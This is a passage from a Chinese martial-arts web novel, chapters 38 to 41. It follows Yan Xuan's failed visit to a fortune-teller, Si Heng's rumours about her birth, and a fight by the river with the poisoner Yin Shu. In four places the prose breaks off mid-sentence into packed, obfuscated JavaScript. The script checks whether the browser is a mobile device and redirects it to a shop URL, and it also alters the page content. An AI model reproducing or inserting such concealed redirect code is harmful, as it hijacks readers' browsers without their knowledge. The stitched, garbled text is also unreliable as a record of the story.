“是吗?”卢晚茵喝了一口汤,碗中剩汤微晃,“南塘茶品丰富,是该让……人开开眼。” “闺女说好那一定好,一会我就找老梅去。” 卢晚茵没好气道:“梅澄忙着城西铺子的开张,你别犯傻扰了人家。” “老梅喜茶怎会拒绝?再说那铺子如今是小彦经手,他空闲得很。”晏时蕴摇手笑道。 两口子没了之前的惆怅,又因为女儿开始新的斗嘴架势。 闻言,正在堂屋外的林靖眉头微跳,收回了要迈出去的脚,转身对着新来的护院指了指一旁的廊道。 “两位,还请随我先去院中别的地方熟悉熟悉。” * 晏璇缓过了第一日的不适,加之孟珎熬的药,头昏目眩的症状不在,身上也轻盈许多,颇有种服了灵丹妙药的错觉。可她医术再不济,也不可能信了这茬。说起那日的情形,倒像是中毒的轻症。 晏璇一时不解也不急着去找答案,今日就算拖着伤腿也得上街一趟了。 花奕不解道:“有什么事需要上街?若有想要的东西,交给我办就行了。” “去见一个人。”晏璇笑道。 “嗯?阿璇在南塘也有熟人?” 熟可万万算不上,对方对她口袋里的钱比较熟悉。 晏璇的手拂过腰间百宝袋,心头微嗤。她坐在轮椅上,晏曜执拗地要帮她在后面推车,花奕自然是要跟着她的,唯有孟珎默默立于一旁。 他还未对那张告示做出解释,晏璇又像是忘了此事或者根本不在意,只字未提。花奕的警告,虽然让他咂摸出些许不同,可他在晏璇面前永远是个在等待垂怜的仰望者,他不敢惊动她,也怕惊扰她,就这样静静地站在她需要他时就能一眼望到的地方。 同样是那张淡漠的脸,晏璇瞧着孟珎,此刻竟读出了几分落寞。她微微一愣,难道这就是大脑的神奇之处?从前不在意的,一旦上了心,就连对方的表情都会有各种解读。 晏璇觉得新奇,然而孟珎的闷不吭声同样令她怅然。她收敛所有心神,微笑道:“师兄,我与奕姐姐出去一会,捣药的事就麻烦你了。” 孟珎应了,站在客栈门口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13861017|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直目送着他们。 花奕看了眼晏璇,若没有她那句交待,姓孟的小子绝对会跟过来,她一时拿不准晏璇是不是在生孟珎的气。 晏璇感受到花奕频繁的目光,侧头道:“姐姐有什么想说的?” “你……”花奕双手背在脑后,突然大笑两声,“没什么,就让一些人磨牙去吧,应得的。” 花奕说得前言不搭后语,晏璇却大致明白她在讲谁,她还真不是耍什么脾气,那些东西都不至于,她只是想暂时静静,少让对方在自己眼前影响了心绪判断。 “咱们一直往小巷里打转,到底是要去哪?”花奕问道。 “找一位‘能掐会算’的。” 花奕讶异,眼珠一转似想到了什么,她有些惊奇地望着晏璇,晏璇则对晏曜问道:“小曜,那天去染坊后面的院子的路,你还记得吗?” 晏曜点点头:“记得的。”那是晏璇第一次带他出去,他牢记在脑海。 三个人走过了相同的暗巷,来到一处安静院落。 花奕上前叩门,一位三十来岁的男子打开门来,声音哑沉:“几位找谁?” 花奕打量了他几眼,回头望向晏璇。当日开门的还是个头发花白的老人家,不过几日就换了人,晏璇心中咯噔,仍是微笑问道:“不知你家先生在家否?我想求卜问卦。” “问卦?”男子皱着眉头一脸不解,将他们三个来回扫了几遍,“不知这位小姐何意?我家老爷出门访友去了,也不会什么卜卦啊,几位是不是找错了地方?” 晏璇下意识往门上瞧去,门环上方一片空荡,确实少了某样东西,她稍作镇定道:“这位大哥,不知你家主人离家有多长时日?” “快有半月余,小姐莫不是我家老爷旧友?”男子道。 晏璇摇头道:“想来是我们找错了地方,真是抱歉,打扰了。” “无事。”男子略一颔首,关了大门。 “还是来晚了呀。”晏璇幽幽叹道。 花奕靠近她,低声道:“你莫不是在找天机楼的人?” “奕姐姐真聪明。”晏璇向后再看一眼宅院,“前些日,我照着你的法子在兴河坊打听到这个地方,没想到几日而已就是生面孔了。” “那帮家伙贼得很,做着不光彩的生意,藏身的本事一个赛一个。”花奕满目疑惑,“阿璇找他们是要问些什么?” 她想问那个自称阿烨的少年是谁,为何要打探自己的消息,是否与面具男有千丝万缕的关系。可惜了,她准备了足够的钱也无用,一切真相还得去郦城才能知晓了。 “我想问……或许我的病不是娘胎里带来的。”晏璇模棱两可,轻扬嘴角道,“不过没关系,他们是走江湖的,平民百姓的事未必知道。” 花奕拧了眉,她还从未想过这一点,自她认识晏璇起,就见她在雾山养病。小小年纪,不是从娘胎里带来的弱症还能是什么,竟不知还有其他可能。 “你想知道是不是,我陪你回一趟斛县,怎么样?”浑厚的男声自身后响起。 花奕一顿,拧着的眉皱得更深了,这讨人厌的男人到底从哪冒出来的? 晏璇微张了嘴,错愕地看向来人。怎么才安静了两日,他又开始神出鬼没的。 “同叔……” 司珩肃着脸,与往常大不相同。 “我同你回去,好好问问你爹娘,女儿到底是不是亲生的,怎会如此放任不在意?”他的语气隐含怒意。 晏璇被惊了一跳,怎的她的身世好像要暴露了?可待仔细琢磨,那话中的意思……晏璇满腹狐疑,他好像在鸣不平,气愤爹娘对她关心不够? 晏璇不知作何表情,缓缓发出一声疑问。 “嗯?” 39. 第 39 章 初夏的热风吹过,虽不至于灼人,但热浪袭面易使人陷入迷糊。 晏璇不知是被晒懵了还是司珩此人的言行总叫她摸不着头脑,她撑着额头揉了揉,晏曜见状忙将她推到墙根下的阴凉处。 司珩踏步到了跟前凝视着她的脸庞,他身形高大,等蹲到晏璇腿边,他的视线便与晏璇平齐了。 晏璇愈加困惑,侧头看花奕也是一脸茫然甚至带了点警惕,继迷蝶香后,她算是发现司珩对于她的行踪毫不掩饰的“关注”。 “同叔你……” “这些年,你娘对你好不好?”他突然问道。 晏璇不解,愣愣看他:“我娘?她待我……自然是极好的啊。” “好?”他嘴角噙着冷笑,“对你好便是将你丢在外头多年不问。还有你那个爹,真正是不晓廉耻,既有了你就该当好一个父亲。你明明跟着那小子在闲荡,他却假模假样地告诉别人你去山里养病了。” 晏璇的手放在轮椅扶手上,缓而用力地抓握了一下,眼神却登时冷了下来。这男人在查她,还查去了斛县老家,只是查到的东西有些一言难尽……他同她到底什么关系,何至于几次三番义愤填膺? 若是换个处境换个人,晏璇定以为他吃错了药,俗称脑子有问题。 “喂,你这人好生奇怪。”花奕先一步,抱胸往前一站,“阿璇和她爹娘好着呢,你在此胡言乱语。退一步讲,别人的家事与你何干。” 司珩充耳不闻,只执拗地盯着晏璇看。他这个岁数阅历的人,屡屡失态,晏璇拿捏不准他究竟要做什么。 她佯装不耐,声调偏冷道:“我不知你从哪得来些似是而非的消息,爹娘待我一如往昔,此次出来游历也是我自己提的,没必要告知外面看戏的人听。同叔,你不该如此在我面前诋毁我爹娘。” “好,我道歉,你先不要生气。”司珩深吸两口,扶着她的轮椅,“那你可不可以告诉我,为什么怀疑起小时候生病的事?” 那自然是她为了找身世线索想的最不突兀的借口,那个时候她也不知道有人在暗处偷听。 这一瞬的怔愣,在司珩眼里就是晏璇心中有鬼。 他接着道:“那时我替你看病就有疑惑,你一个在后院中的小孩怎会有那样的病症,倘若有人使坏怎的偏偏选中你?如今,我听到了有关解惑的流言。” “什么流言?”还能有关于她的流言,晏璇心生好奇。 司珩望着她,眼里流露出几分怜惜,晏璇被看得别扭极了,皱眉等着他打算说出些什么“惊世骇俗”的。 “接下来不管我说什么,你都要冷静别害怕。” 晏璇无表情地点点头,内心甚至有点想笑。 “你……并非是你娘亲生。” 晏璇:“……” 呃……今日她的身世莫不是要以一种神奇的方式被揭晓? 晏璇脑袋嗡嗡,听司珩继续道:“东街的老邻里大都说没见过你娘怀你的样子,你爹是在外、在外有了你,之后才将你接回家的。在他们离开晏家的几个月里,很多人猜测,其实你娘是去找你亲娘了,原本你是要被抹杀掉的,可你命不该绝,顶着伤痛活下来了。你娘一直无所出,你虽是……却仍是你爹的孩子,就这样半死不活地养着你。” 烈日照在对面屋顶的瓦片上,折射的光晕晃过晏璇眼前,她忍不住闭了眼,视野里一片黑影。 晏璇真不知,市井里是这么编排他们一家的。她爹若是如他们所说在外头有了别的女人,她娘不会去找人麻烦,第一时间会打断她爹狗腿并休了他。还什么她是被处理却没处理掉的孩子,她娘还要忍着恶心抚养她是吗? 真是离谱他娘给离谱开门,离谱到家了…… 这些流言的荒谬程度惊得晏璇一时没明白司珩怎么就信了这些。 花奕震惊地看看晏璇又看看司珩,她在雾山是见过晏璇爹娘的,他们为人亲切,待晏璇疼爱有加,还派了林前辈一直护着她,怎么可能是流言里说的那般。这流言说不定就是眼前这男人编造的,什么意图她猜不到。 她抽出背后破妄,用葛布包裹的刀身一端挑开那只轮椅上的手,喝道:“少在这儿胡说八道,你骗我们说是阿璇的舅舅都比编出这些东西强!” “奕姐姐……” 晏璇觉得脑袋又要痛起来,她向着司珩叹道:“同叔当年在我家,可觉得我爹娘是那样的人?还是说你忘了,只是想借着那些没有查证过的东西来扰乱我的思绪,动摇我的认知,你究竟是为了什么……而来接近我?” 司珩已站起身,居高临下望着她,他的眉头皱着,应是常年的习惯,眉间已形成一道川字纹。听着晏璇的问话,他眼眸颤动,似蕴含着万般无奈与委屈,无处可说,无处能说,最后内化出一副静如止水的模样。 “奕姐姐,小曜,我们走吧。”晏璇转了头不再看他。 “好,走走走。” 晏曜偷偷睨了男人一眼,抿抿嘴推着晏璇走开了。 天机楼的事落空,晏璇打算转道去宝石斋,将那日定做的平安扣取了。 一路上,她的兴致不高,花奕试图讲笑话逗她,每每她自己笑开怀了,晏璇只是腼腆笑笑。都怪那个姓同的,花奕心中怒道,任谁被说不是自己爹娘亲生的都不好过。 “阿璇,阿璇,你还记得那个金麓吗?”花奕问道。 “金麓?哦,那个峒山派的,我记得。”当年吃了她不少小零嘴呢。 “三年多前我还在品贤阁见过他一次,最近听说又在闹笑话,惹得邢掌门下了本门追缉令,凡见了他的只管捆了抗上山去。”花奕说着,直摇头闷笑。 那个姓金的,行事的确乖张,晏璇记起她在雾山还留着此人的认罪书,还是印着十个手指头印的认罪书。她不禁露出点笑容,问道:“他又做了些什么?” “说是好像见了年轻女子就管人叫小姑奶奶,结果碰上了惠山派的弟子。那惠山派掌门修仪是个女道,弟子也俱是女弟子,金麓巴巴地往上凑,对方以为他是个登徒子,结果惠山剑法对峒山腿法,可是闹了好一场。” 小姑奶奶……他还没改掉这个乱喊的毛病呢。 花奕瞥到她嘴角笑意,心底微叹,总算是笑了。 染坊这处位置较偏,三人走出巷子饶过一条马路,见不远处的墙下几个七八岁大的孩子正朝着他们张望。 “是、是小狗哥哥……” “不对,要叫小曜哥哥,他有名字啦。” “……” 小孩特有的明亮声线,虽然他们压着嗓子说话,说话内容还是传到了晏璇耳中。 她感到轮椅短暂的滞停了一下,随即又被推着往前走。她看向那几个半大的孩子,衣衫破旧,身上有着不同程度的脏污,他们见她望去,有些局促地侧了身子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯,是很好,很好的。” 晏璇把头靠在花奕肩上,仿佛回到她们初次见面那会。 只是过了一会,花奕仍紧紧抱着她,晏璇推了推她,对方才垂着眸松开她,就见花奕红着眼泪汪汪的。 “奕姐姐你……我不伤心的,你也不要伤心。”这下,反倒让晏璇手足无措起来。 花奕揉了揉眼角,闷闷道:“你一个人藏着这样一个秘密,怎么会不难过。姐姐知道的,你从小就不爱哭,我替你哭一哭总可以吧?”说着,她的哭腔大了起来。 “不是的,师兄也知道了,还有师父。所以我不难过,奕姐姐。” “姓孟的……天杀的!他怎么会比我早知道!”花奕的眼泪流得更凶了。 “这……也是不得已的,但是,我说了让姐姐跟我去郦城,你是第一个!”晏璇无比认真道。 花奕捂着脸:“郦城?我们约好了要一起去的。” 晏璇点点头:“嗯。之前你问我为什么想去那,因为那是……我的出生地。” “好!我一定陪你去。”花奕狠抹了下脸,卷起袖子露出了她覆着薄肌的小臂。 晏璇轻舒一口气,有这样的朋友,真好啊。 40. 第 40 章 “小曜哥哥,那边两个姐姐在抱在一起哭……” “嗯嗯,我也看到了,比小石头哭得还凶。” “我才没有哭得很凶,我……我不会哭!” 晏璇:“……” 小孩子的声音脆又响,悄悄话全溜进了晏璇耳中。 她掏出一块帕巾递给花奕,笑道:“姐姐快擦一擦,我们都要被小娃娃笑话了。” “本小姐想笑就笑,想哭就哭,不怕人笑话。”花奕随即转头,对着那帮孩子做了个鬼脸。 晏璇:到底谁才是孩子? 晏曜闻言往回跑,脸上带着不安:“小姐,发生什么事了?” 少年穿着窃蓝色的小布袍,平日里护得十分平整的衣衫,眼下沾染了几片脏灰。 晏璇瞥过他污渍显眼的衣袖和腰间,摇摇头:“无事。” 她翻了翻自己的百宝袋,挑了又挑,最后在票子和药瓶之间选择了药。 “这个送给你的朋友,可以当糖丸吃但是不能贪多。”晏璇把东西塞入晏曜掌心,“虽不是灵丹妙药但有强身健体的药用,我想应该用得着。” “小姐……” “阿璇给你的东西差不了,你可别学姓孟的扭扭捏捏的,拿了就是。”花奕拍了一下少年的肩头推他一把,“去吧。” 晏璇见他眸光湿润,又陷入某种令她牙酸的情绪发酵中,忙道:“只是有点特别的小零嘴,回去还得让你捣药抵回来,我可不是个仁慈的主。” 晏曜抿嘴笑了笑:“嗯。” 花奕靠在轮椅边,看着少年的背影“啧”了声:“小晏璇啊,你看现在没人信你唬人的话了。小鬼说你经常在他面前说自己不是个好人,可我也没看出你是个小坏蛋呀。” 花奕抑扬顿挫的调侃语气,惹得脸皮厚如城墙的晏璇都差点没撑住。 她只好傻笑以对:“这个……人缺乏气势的时候就喜欢在嘴上耍功夫。” 花奕摇头:“傻姑娘。” 随着晏曜走远,晏璇脑海中响起了久违的系统机械音,只是这次的动静稍显不同,带着些欢快的调子。 晏璇:【小九,怎么回事?】 小九似乎也有些雀跃,在她眼前跳来跳去:【恭喜宿主,贺喜宿主!目前累计功德评分次数达成2000次成就!】 晏璇:【哦……我都不记得自己有做那么多事。】 小九:【这说明积少成多、日积月累的重要性!宿主在多年的潜移默转中已然成为了一个非常好的人,今日值得纪念!】 晏璇:【漂亮话不必多说。请问,得了这么个成就有没有什么表示?上次问你升级的事有消息了吗?】 小九的气焰一下小了,萤光微弱:【宿主,我们EM系列是最新的,暂且没有升级计划……不过,成就奖励还是有的!】 晏璇:【说来听听。】 小九:【奖励是一张玉符,可替宿主抵挡一次致命伤害,当宿主想要使用的时候,在心中默念三遍唤醒即可。】 晏璇:【若我没受伤呢,默念三遍可会消耗掉?】 小九:【它的触发是有先机条件的,只有当宿主处于危险中能起效。】 晏璇的眼前似乎晃过一道带着金芒的符咒,再仔细看便已经隐没了。 等三个人转出巷子到宝石斋去取了平安扣,小半天的时间快晃过去。晏璇一直体虚又在信期,便打消了在外头用午膳的念头,想早些回客栈歇息。 她手中捏着绿草花边角料做的圆珠,在指尖打着转,脑中是那掌柜讨好抱歉的模样,心中有种果然如此的平静感。早知孟珎是什么性子了,做什么都闷不作声的,她就算提起他也习惯略过或者否认,除非惹她不高兴……这回是偷偷给她塞银子,上回是受伤吐血还在装没事,再上上回……一路细数过去,他瞒的事情不少。 一切从斛县的相遇开始,她捕捉到了些不一样,开始明白某人的心迹变化,什么巧遇、顺路、随手,所有的在意在朦胧无望的关系前都被他伪装成了无意。 在晏璇眼里,一个男的只说不做那是渣,只做不说那是愚,什么隐忍钟情但凡过了某个度就是自以为是。孟珎他……还没有真正懂她。 一路无言,忽听得花奕“咦”了一声,晏璇侧头见街对面一行数人飞快地贴着墙边疾走。 “阿璇,前边就是客栈了,你跟小鬼先回,我去去就来。”花奕边束紧身前的绑绳边道,转身朝着那行人奔去。 晏璇未来得及开口,花奕便跑远了。刚那些人,见他们的衣着不就是与他们同住一间客栈的峋山派弟子,一连几日没见,今日倒是碰上了,不知花奕找他们有什么事。 晏璇还算相信花奕的功夫,自己又是这副模样,还是决定不追上去添麻烦了。 “小曜,那我们先回去吧。” 她甫一低头,发现双腿上不知何时多了一个揉成一团的字条。 晏璇:【小九,这是从哪冒出来的?】 小九:【方才从天上掉下来的,还以为是鸟粪呢。】 晏璇:【……】 她观察了一会,确认纸团上没沾上奇奇怪怪的东西才抚平展开,只见上头写着两行字:算命卜卦寻我七哥,兴河坊拱桥旁,不骗人。 落款:士。 士?晏璇瞧着这个字琢磨了会,不会是故意连写的“十一”吧? 晏璇环顾四周,这般神出鬼没透着点怪异的人她猜不出第二个,再品味下留言的字里行间,脑海中自然都是那人说话的语气。晏璇扬了扬眉,不禁觉得好笑。她要是真算命就好了,这街坊上多的是开摊的大师。不过,她又转念一想,十一的哥哥大抵是莫问楼的人,楼中人各有过人之处,她可就要去打听打听了。 思索之下,晏璇握拳轻敲在轮椅扶手上,道:“小曜,我们先去一趟兴河坊!” 晏曜犹豫道:“可是,师父说让我们先回……” “没关系的,而且……”晏璇望着街市上高低错落的屋顶,笑了笑,“我们有‘护花使者’。” 两人沿着河道平整的石板路走,附近的人家已经挂起了洋溢着灯会气氛的灯笼。 晏曜担心的事没发生,却另有意外突生,他的一声惊呼引得正在赏灯的晏璇侧目。 “是师父!” 杨柳岸旁,只见剑光璀璨,四个着峋山派常服的弟子占据东南西北角行成四方剑阵围困住一人,而花奕抽出长刀正候在一旁蓄势待发? 晏璇定睛看去,花奕确实处于伺机而动的状态,她双手持刀,眼神冷冽,随时都将加入战局。 奕姐姐何时与峋山派这般同仇敌忾?从未听她提过他们之间的渊源。 吸取了上回教训,正当晏璇叫晏曜退开些,就见一道白色身影从天而降,宛如游龙出岫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13930614|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凛冽剑锋直冲向剑阵中间。地上四人起势运剑,不断配合着变换方位,分别向被围困者的头部、腹部、腿部刺去。 一时间,剑气纵横,柳叶纷飞,晏璇抬袖挡脸,从人群间隙中窥得黑斗篷下一张围着布巾的脸。 有句话是怎么说的,仇人见面分外眼红。 大抵她和这人还算不上仇人,所以也就没红眼只是迷了眼,这漫天的尘沙和落叶吹得眼睛快睁不开了。 “姓商的,你攻他面门啊!”花奕大喝一声。 原来那剑势如磅礴雨下的空中一剑来自商陆。 商陆剑如飞凤,同门弟子稳若磐石,四方剑阵随即变换为更为复杂的五行剑阵。 五人围剿之势,加上花奕的场外助攻,殷数就算武功卓然也难以招架,何况他在江湖上只是以毒出名。 晏璇只见殷数的斗篷鼓起,似他每次放招前的前兆,眉头一跳。 “奕姐姐,快避开!”晏璇呐喊道。 “阿璇?!”花奕闻言,向后翻身急退。 峋山弟子似不把殷数拿下不罢休,几人仍旧蛮力抵抗,殷数挥手之处俱是触肤入体的剧毒,只稍一眨眼,已有两人中招,剑阵岌岌可危。 商陆旋身救下二人,抬手与殷数对上一掌,他被掌风压迫退后一步,嘴角溢出一丝鲜血。 “大师兄!!”众人哀叫。 花奕已退至晏璇身侧,瞪着她道:“你怎么在这?不是叫你先回客栈了。” 此时河岸边的动静已招来不少人,其中不乏背弓扛剑的江湖人,而他们只是皱眉观望。 隐隐传来两句:“峋山派的?怎么还没攻下那人?” “四大派也没见谁有能耐的……” 晏璇收回目光:“姐姐又在这做什么?那人不好对付的。” 不然何以人人得而诛之的对象却不见人英勇作为,顶多只会趁势群殴。 “我知道!不好,姓商的不行了,我去助他一把。”随即,花奕携刀上前。 “奕姐姐!” 刀如猛虎强势破阵,花奕一个劈斩逼退殷数。她握刀于肩前,后撤弓步靠近商陆,侧耳问:“姓商的,你的赤星剑呢?给我站起来打啊!” 商陆捂胸一咳,嘴角又是溢出鲜血点点,他皱眉道:“……姑娘,小心他的毒。” “怎么,你们既知要对付他,不事先服用避毒丹的吗?”花奕伸腿踹了他一脚,“先保命吧,我来对付他。” 商陆:“……” 其他弟子趁势围过来,七嘴八舌地问道:“大师兄,你怎么样?” 商陆看了一眼自己泛青的掌心,提声道:“他的毒千变万化,姑娘莫要逞强。” “最烦你们这群叽叽歪歪的男人。”花奕哼道。 “妖女,你不识好人心!” “妖女休要胡言!” 看吧,本事没多少就嘴上厉害。花奕不理会,直盯着殷数看,小晏璇那笔账她替她讨回便是! 晏璇扶额叹了声,还好花奕知道服用解毒丹,想必她娘给她也备了不少好药。 忽然她感到一道冰冷的视线落在身上,她抬头望了望,又撞上那双幽暗如漆的眸子。她有种不祥的预感,每次与这人对上视线,都是倒霉的兆头。 晏璇按了按膝盖,疼痛使她清醒,她握紧了百宝袋。 这回,别想伤她一根毫毛。 41. 第 41 章 ——你究竟是为了什么而来接近我? 司珩独站在凉亭下,幽静一隅,陪伴他的只有黑沉沉的河水。它静谧无声,无孔不入,像似要一直漫进人的心底,熄灭由执念燃起的扭曲之火。 他想,他找得太久,等得太久,全身的血肉都快要风干了。这个人不管是晏璇,是五六岁的稚儿,还是七八十岁的老太,但凡能勾勒出那人的半分样子,无论是化作甘泉还是苦药,都会被他统统汲取滋润干涸的身心。 他想要接近她,是一种自然又蛮横的吸引。 亭外,有人飞奔而来,他停至司珩身后站定。当司珩沉思的时候,没人敢去打扰他。 “来了。”许久,司珩出声道,“有查到那个女人吗?” “同哥,我们探访许久,那些声称晏时蕴有外室的都是些捕风捉影,暂且没有任何有关这个女人的消息。” “盯着晏家的人呢?” “他们只在附近蹲守,行事松散不像道上的,这些天也没有见他们往外递消息。” 司珩点点头:“辛苦了,晏家的事再麻烦兄弟们几日。” “不辛苦,能为同哥做些什么,他们都盼着。” “小山,我是不是……太急切了?” 离开泑山的十几年里,彭小山算是唯一一个与司珩走得近的朋友,他恨过这个地方的人,可兜兜转转又与他们有了千丝万缕的关系。思忖良久,司珩才问出了那么一句。 “怎么会,只是晏姑娘什么都未知。同哥,你怎么认出晏姑娘的,咱就把信物什么的给人家看,她一定会信的。”小山恳切道。 司珩沉默,一如晏璇质问他时。为何到了紧要关头,他却什么都说不出?因为没有信物,没有血脉,只有他自以为是的转世投胎的说法,没人能信。 “同哥,有什么是我能帮上忙的,请一定吩咐。”彭小山身量小小的,可他的眼睛永远像是饱含了希望,乐观有神,“还记得当年子庆的娘走丢了,大伙都以为找不着了,是你陪着那小子没日没夜地寻才让他没落下遗憾。如今,同哥的事也是,一定会有个好结果。” 司珩就是望着那双眼,咬肌微动,他嘴角轻提向彭小山浅叹一笑。 是啊,十几年他都熬下来了,怎么临了就各种畏缩。没人信有什么关系,那他就再努力努力到让她相信。 晏璇摇了下轮椅,让晏曜往一边退,身旁那些人竟还在袖手旁观说着闲话。 “这蒙面的真是殷数?他杀了峋山派的弟子,如今还敢在他们面前招摇过市?” “那么多人怕他,不都是因为他狂妄?” “也是,我看他一点都不惧雷霆山庄的号召令。” “……” 殷数不惧什么号召令,你们也是不惧某人若是暴起会有何后果,晏璇心道。时天辰的明月阁内的惨状,她至今难忘。 可若说殷数狂妄,晏璇倒不觉得,从她过往的经历来看,他更像是个情感缺失不懂交流的简单暴力者。 因为有人来杀他,所以他要反杀,这是造成明月阁惨剧的浅表原因之一。可为什么他们要杀他呢,因为有旧一轮的因果在前。他的某次行动造成了恶,恶没有被平息,全部反作用于他己身。凶名在外,会吸引其他的恶,反正他的身上是黑的,那么,再多撒几盆脏水到他身上也分辨不清。 无论如何解析这个人,他无疑是危险的。花奕拦在殷数面前,晏璇着实为她捏一把汗,这人向来嫉恶如仇的,为了商陆出手大概是出于道义。 花奕横刀于胸前,轻抬下巴:“你就是殷数?围着个面巾别人就认不出了?” “姑娘,莫要激怒于他。我峋山派弟子便是无意冒犯了此人的相貌惨遭毒手。”商陆道。 “哦,他长得很美还是很丑?” 商陆皱眉:“姑娘!” “因为一副皮囊断送他人性命,果真是外面说的喜怒无常。” 殷数未应,垂眸不知在想什么。 晏璇见状,恐他如商陆所言情绪有变或是在想什么后招,忙扬声道:“奕姐姐,快回来!” “阿璇你且等着,我今日就为你讨回公道顺便也做一回江湖好人。” 晏璇:“……” 做什么讨公道?她承认花奕武功好,可殷数能从那么多高手手下存活并非侥幸。晏璇左右望了望,人群中淡定看戏的江湖中人,怕不是都想来个渔翁得利。 她微微蹙眉,怕花奕要吃个大亏。为她讨公道?难道说的是她腿伤这件事?诚然其中的因有殷数,说到底她觉得姓杜的更可恶些。 殷数黑眸转动,余光中似还能见到晏璇那张带有忧色的脸庞。 他哑着声:“我不想和你动手。” “嗯,我也不想”。花奕勾起一边嘴角,“可谁叫你伤了我的师弟师妹,今日做个了断吧。” 花奕一个马踏连环,举刀劈砍。殷数弯身侧腰,如墨迹晕染开的移形功法,轻巧躲开了她的两个大招。花奕见此并无失望,反是越战越勇,破妄刀大开大合间,携着雷霆之势追击敌手。 一刚一柔,两人对招无数难分胜负。 商陆运功稍稍稳住体内毒素发作,他仗剑而立,赤星剑剑锋如霜,剑身嗡鸣。 “我来助你。”他飞身而起,剑芒冷冽直刺向殷数胸上三寸。 殷数躲过花奕的一个挑刺,旋身而起,周身像聚着一股无法靠近的气流,抬手间,各有六枚飞镖射出。花奕和商陆用刀剑挡去,兵器相碰,叮当作响。 “姓殷的,你真当够阴的,尽是些下作手段!”花奕哼道。 晏璇看得眼花缭乱,怕暗器上有毒,别叫这两个正得不行的傻娃子中了招。她感到那股阴恻恻的视线又投向了自己,抬头,黑色身影如烟笼般漫了过来。 晏璇:“?!”姓殷的做什么总盯着自己来。 “小曜退后!”她厉喝一声,手中药瓶已就位。 晏曜见晏璇拿了药,仍是跨步抬手挡在她身前。这傻倔孩子,晏璇心头微恼,正想一针干脆把他放倒,又一个黑色身影如飞燕般落于身前,她莲步腾挪,直接一掌挥出对上来人。 十一! 晏璇差点忘了暗处还有她。她捏了捏瓶身,这药暂时是没法撒出去了。 “小心殷数的毒砂掌。”一旁的商陆突道,声音暗含几分虚弱。 晏璇瞥过眼去,他的伤似比方才严重许多,满额的汗不说,印堂发黑显然中毒不浅,他被几个同门搀扶着盘坐在地。花奕亦扶着一侧手臂,面有痛色,半跪于五步之外。 那暗器果然是沾了毒的。晏璇神色一凛,低声道:“晏曜,快推我去奕姐姐那。” 晏璇语气生冷,又喊了晏曜全名,他一时怔愣,心中暗悔,小姐定是对他刚才的不听话生气了。他咬了咬牙,低头应了声,赶紧将晏璇往花奕那边推。 突地,斜刺里飞来一根细绳,似晏璇从前见过的牛筋绳,可此物像有魔力般直向她腰腹上钻,连带着她的双臂,在晏璇没有防备的情况下,她被捆了个严实。 “那是深坞老鬼的捆仙绳!”有人惊呼道。 “阿璇!”花奕握刀撑地而起,却是有心无力。 晏璇已被绳索腾空吊起,绳索那头的人停在石墩之上,他的斗篷因为劲气的迸发而猎猎作响。殷数与十一交手不下十几招,只见他五指成爪,手背上青筋鼓动,拼出全力一掌将十一震得倒退数步,他自己则弯腰闷咳了一声。同时,殷数左手一抬,捆仙绳倏地收缩,晏璇直直向他撞去。 晏璇只觉重重磕在一具瘦骨嶙峋的身躯上,他的肩差点硌得她吐血,这人到底是有多瘦。鼻尖是浓重的血腥味,晏璇鼻头轻皱,贴得近了才发现他的黑衣之上全是洇湿的痕迹,那是血…… “救人,跟我走。”他在她耳边沙哑道。 晏璇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13967825|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一愣,完全没想到是这个结果。 “救谁?”话说出口,晏璇才惊觉自己只是身体不能动,那她为何表现得像被人点了穴,真是奇怪。 殷数没说话,带着她便要纵身离开,十一重振旗鼓,揉身而上,喝道:“放开她!” 殷数不再恋战,只防守不攻击,两人在空中又是一番拳脚相加。殷数拎着晏璇的后背,她被晃得头晕目眩,两条腿又使不上力,就像一条被甩在半空的抹布条,好在殷数没让她的腿磕碰到哪。 明明她只是想去兴河坊走动一下,当时殷数的目标也绝不是她,是在见到她之后,他突然改了主意。表面上他岿然不动,其实身上早就千疮百孔,靠着毒才勉强占了一分优势,为了救某个人,他几乎是豁出性命在搏。 可他是殷数啊,是人人喊打的江湖恶徒,哪管他要救什么人呢。 晏璇忽然对此人涌出一股悲哀,并非同情只觉讽刺。当十一拧着眉再次攻上来,晏璇有一种无力,她不想她和花奕因为这样的阴差阳错受伤,太不值得了。 